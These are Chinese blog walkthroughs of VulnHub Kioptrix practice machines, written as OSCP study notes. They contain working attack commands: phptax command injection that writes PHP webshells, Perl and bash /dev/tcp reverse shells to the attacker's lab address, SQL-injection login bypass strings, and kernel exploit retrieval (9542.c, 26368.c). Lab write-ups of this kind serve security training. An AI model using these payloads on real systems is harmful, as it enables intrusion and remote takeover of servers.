&lt;p&gt;&lt;img alt="image-20250224145247995" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224145247995.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224145630201" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224145630201.png"&gt;&lt;/p&gt;
&lt;p&gt;这里他给出了漏洞原理是phptax有个漏洞，就可以利用这个漏洞执行命令。这里恶意代码执行的是&lt;code&gt;nc -l -v -p 23235 -e /bin/bash&lt;/code&gt;，需要在攻击机上启动nc监听端口来接收反弹的shell。但是，我查了网上的一些攻略帖子说nc bash php python都弹不回来，可能是靶机没有这几个命令或者限制用这几个命令。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224145610187" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224145610187.png"&gt;&lt;/p&gt;
&lt;h3 id="链接靶机"&gt;链接靶机
&lt;/h3&gt;&lt;h4 id="方法1一句话木马链接蚁剑终端"&gt;方法1：一句话木马链接蚁剑终端
&lt;/h4&gt;&lt;p&gt;先测试靶机能不能执行命令。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134:8080/phptax/drawimage.php?pfilez&lt;span class="o"&gt;=&lt;/span&gt;xxx&lt;span class="p"&gt;;&lt;/span&gt;ls%20-al%20%3e1.txt&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;pdf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250224150929610" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224150929610.png"&gt;&lt;/p&gt;
&lt;p&gt;或者在BurpSuit里面抓包后send&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224164601194" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224164601194.png"&gt;&lt;/p&gt;
&lt;p&gt;把一句话木马加工到上面的连接中&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;?php system&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;cmd&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134:8080/phptax/drawimage.php?pfilez&lt;span class="o"&gt;=&lt;/span&gt;xxx&lt;span class="p"&gt;;&lt;/span&gt;ls%20-al%20%3e1.txt&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;pdf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134:8080/phptax/drawimage.php?pfilez&lt;span class="o"&gt;=&lt;/span&gt;xxx&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;lt;?php system($_GET[&amp;#34;cmd&amp;#34;]);?&amp;gt;&amp;#39;&lt;/span&gt; &amp;gt; 222.php&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;pdf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134:8080/phptax/drawimage.php?pfilez&lt;span class="o"&gt;=&lt;/span&gt;xxx&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;lt;?php system($_REQUEST[&amp;#34;cmd&amp;#34;]);?&amp;gt;&amp;#39;&lt;/span&gt; &amp;gt; ant.php&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;pdf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250224165052724" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224165052724.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224165216760" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224165216760.png"&gt;&lt;/p&gt;
&lt;p&gt;然后再执行一次ls看1.txt里面有111.php了。然后也能成功执行命令。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224171002435" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224171002435.png"&gt;&lt;/p&gt;
&lt;p&gt;蚁剑安装包：https://www.yuque.com/antswordproject/antsword/srruro&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月24日 18点04分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;也可关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day4&lt;/code&gt;获取。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月25日 9点15分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134:8080/phptax/drawimage.php?pfilez&lt;span class="o"&gt;=&lt;/span&gt;xxx&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;lt;?php system($_REQUEST[&amp;#34;cmd&amp;#34;]);?&amp;gt;&amp;#39;&lt;/span&gt; &amp;gt; ant.php&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;pdf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注意，蚁剑要用上面这句&lt;code&gt;_REQUEST&lt;/code&gt;生成的木马php才可以连成功。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225094453177" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225094453177.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225094735151" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225094735151.png"&gt;&lt;/p&gt;
&lt;h4 id="方法2perl弹nc反连"&gt;方法2：perl弹nc反连
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvnp &lt;span class="m"&gt;4777&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;perl -MIO -e &lt;span class="s1"&gt;&amp;#39;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;#34;192.168.139.128:4777&amp;#34;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134:8080/phptax/drawimage.php?pfilez&lt;span class="o"&gt;=&lt;/span&gt;xxx&lt;span class="p"&gt;;&lt;/span&gt;perl -MIO -e &lt;span class="s1"&gt;&amp;#39;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;#34;192.168.139.128:4777&amp;#34;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;pdf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250225095238148" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225095238148.png"&gt;&lt;/p&gt;
&lt;h4 id="方法3msf全家桶一键不推荐考试只有一次机会"&gt;方法3：msf全家桶一键（不推荐考试只有一次机会）
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250226163339507" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250226163339507.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250226163622331" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250226163622331.png"&gt;&lt;/p&gt;
&lt;p&gt;不知道为什么没有终端传过来，可能是msf版本问题，外国人写的几个教程都比较老了21年以前的msf。msf版本更新是会出现一些打不进去的情况。要多走几条路，条条大路通罗马，根根网线通靶机。&lt;/p&gt;
&lt;h3 id="提权"&gt;提权
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250225095717745" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225095717745.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225095812064" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225095812064.png"&gt;&lt;/p&gt;
&lt;p&gt;用&lt;code&gt;26368.c&lt;/code&gt;，这里注意检查一下靶机上有没有gcc，有的话就先传c文件，到靶机编译。然后顺带查一下有哪些传文件的命令，有nc和ftp可以用。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225100125916" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225100125916.png"&gt;&lt;/p&gt;
&lt;p&gt;新版的kali直接开ftp服务器有点问题，提示要下载包，但是下载也有问题。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225101318246" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225101318246.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt install pipx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;pipx ensurepath
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;pipx install pyftpdlib
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;pipx run pyftpdlib --directory&lt;span class="o"&gt;=&lt;/span&gt;. --port&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2121&lt;/span&gt; --write
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或者传到Windows本机物理机上的终端开ftp。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;pip install pyftpdlib
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; python -m pyftpdlib
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250225101809728" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225101809728.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ftp ftp://192.168.139.1:2121/26368.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后再在靶机上用ftp的命令下载。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225102109173" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225102109173.png"&gt;&lt;/p&gt;
&lt;p&gt;用蚁剑的话可以直接传文件。但是蚁剑的终端显示不了root，所以混合着用。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225100735951" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225100735951.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225101027822" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225101027822.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225100957022" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225100957022.png"&gt;&lt;/p&gt;
&lt;h2 id="小技巧"&gt;小技巧
&lt;/h2&gt;&lt;p&gt;一句话木马和反弹shell的命令记不得可以用这个插件—— &lt;a class="link" href="https://chromewebstore.google.com/detail/hack-tools/cmbndhnoonmghfofefkcccljbkdpamhi" target="_blank" rel="noopener"
 &gt;Hack Tools&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224170819687" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224170819687.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250115101708.jpg"&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day4 Kioptrix 系列靶机2-3</title><link>https://ruajingjing.top/post/day4-kioptrix-%E7%B3%BB%E5%88%97%E9%9D%B6%E6%9C%BA2-3/</link><pubDate>Sun, 09 Feb 2025 00:08:33 +0000</pubDate><guid>https://ruajingjing.top/post/day4-kioptrix-%E7%B3%BB%E5%88%97%E9%9D%B6%E6%9C%BA2-3/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day4 Kioptrix 系列靶机2-3" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。
关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day4&lt;/code&gt;获取BurpSuit 和Yakit安装包。&lt;/p&gt;

 &lt;/blockquote&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月7日 22点36分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;为了提高学习效率，我会在文章开头写日期和时间，末尾写结束时候的时间，看多久学的玩。有时候我也不是一口气学完，而是学一般要么有主业的工作打断，要么该睡觉了。&lt;/p&gt;
&lt;h2 id="kioptrix-level-11-2"&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/kioptrix-level-11-2,23/" target="_blank" rel="noopener"
 &gt;Kioptrix: Level 1.1 (#2)&lt;/a&gt;
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;2025年2月8日 14点15分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250208134538337" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208134538337.png"&gt;&lt;/p&gt;
&lt;p&gt;在攻击机上输入&lt;code&gt;ifconfig&lt;/code&gt;查看本机网段。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208134903741" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208134903741.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap -sP 192.168.139.0/24 -T5
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描网段，发现130网段，是靶机，本机是128，254是网关，1，2都是网关。打开网页看一下，推测是sql注入。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208135159123" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208135159123.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap -sS -T5 192.168.139.130 -A
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nmap -sS -T5 192.168.139.130 -p-
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描靶机的端口。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208135335594" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208135335594.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208135530608" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208135530608.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208135656594" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208135656594.png"&gt;&lt;/p&gt;
&lt;p&gt;sql万能密码都试一遍。以下两个都可以&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;admin&amp;#39; and 1=1 -- +
admin&amp;#39; -- +
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250208140252720" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208140252720.png"&gt;&lt;/p&gt;
&lt;p&gt;网页提示让我们ping机器，但是没有ping的地方。&lt;code&gt;dirb http://192.168.139.130/&lt;/code&gt; 扫描目录发现一个没啥用的manual页面，先放着&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208141312906" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208141312906.png"&gt;&lt;/p&gt;
&lt;p&gt;查看网页源码发现有括号没有闭合。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208141623810" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208141623810.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208141759220" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208141759220.png"&gt;&lt;/p&gt;
&lt;p&gt;复制后粘贴修改源码，把括号闭合。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208141850984" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208141850984.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208141936046" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208141936046.png"&gt;&lt;/p&gt;
&lt;p&gt;出现ping框。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208142031454" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208142031454.png"&gt;&lt;/p&gt;
&lt;p&gt;输入执行whoami的测试语句，能看到执行了whoami的语句。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208142103936" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208142103936.png"&gt;&lt;/p&gt;
&lt;p&gt;然后构造一个反弹shell的语句用来链接shell。到网站 &lt;a class="link" href="https://www.ddosi.org/shell/" target="_blank" rel="noopener"
 &gt;https://www.ddosi.org/shell/&lt;/a&gt; 可以快速构造反弹语句。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvnp &lt;span class="m"&gt;9001&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在攻击机输入监听命令启动监听。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208142610118" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208142610118.png"&gt;&lt;/p&gt;
&lt;p&gt;在浏览器submit处的127.0.0.1 &amp;amp;&amp;amp; 后面拼接反弹命令得到&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;127.0.0.1 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; /bin/bash -i &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt; /dev/tcp/192.168.139.128/9001 0&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208142847482" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208142847482.png"&gt;&lt;/p&gt;
&lt;p&gt;成功回弹获得bash权限，接下来是提权为root账户。执行&lt;code&gt;uname&lt;/code&gt; 和&lt;code&gt;lsb_release -a&lt;/code&gt;发现版本号，搜索相关poc。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208142956021" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208142956021.png"&gt;&lt;img alt="image-20250208143311537" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208143311537.png"&gt;&lt;/p&gt;
&lt;p&gt;从核心版本号&lt;code&gt;2.6.9&lt;/code&gt;选择&lt;code&gt;9542.c&lt;/code&gt;这个poc。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;searchsploit -m 9542.c
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250208143529530" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208143529530.png"&gt;&lt;/p&gt;
